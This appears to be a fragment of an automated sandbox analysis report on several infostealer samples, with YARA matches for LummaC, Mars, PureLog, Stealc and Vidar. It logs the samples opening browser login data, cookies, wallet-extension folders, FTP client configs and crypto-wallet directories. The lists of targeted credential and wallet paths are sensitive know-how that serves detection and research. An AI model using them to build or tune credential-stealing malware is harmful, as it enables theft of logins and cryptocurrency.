Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: 8e933e9d51.exe	Binary or memory string: WIN_81
Source: 8e933e9d51.exe	Binary or memory string: WIN_XP
Source: 8e933e9d51.exe, 00000012.00000002.1531510429.0000000000702000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: 8e933e9d51.exe	Binary or memory string: WIN_XPe
Source: 8e933e9d51.exe	Binary or memory string: WIN_VISTA
Source: 8e933e9d51.exe	Binary or memory string: WIN_7
Source: 8e933e9d51.exe	Binary or memory string: WIN_8

Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY

Source: Yara match	File source: 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.1467013696.0000000001337000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UD49QH6.exe PID: 6024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: m0wsoI3.exe PID: 5132, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: UD49QH6.exe PID: 6024, type: MEMORYSTR
Source: Yara match	File source: 48.2.cronikxqqq.exe.3c89550.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 49.2.cronikxqqq.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 49.2.cronikxqqq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000031.00000002.1772447973.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.1789794863.0000000003C89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 17.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.1518189012.000000000043C000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.1442265227.000000000043C000.00000080.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.5645957689.0000000000B1A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1518022147.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\m0wsoI3[1].exe, type: DROPPED

Yara detected PureLog Stealer

Source: Yara match	File source: 48.2.cronikxqqq.exe.3c89550.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.0.cronikxqqq.exe.870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.2.cronikxqqq.exe.3c89550.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000030.00000002.1789794863.0000000003C89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000000.1635997111.0000000000872000.00000002.00000001.01000000.00000022.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\cronikxqqq[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 17.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.1518022147.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Vidar stealer

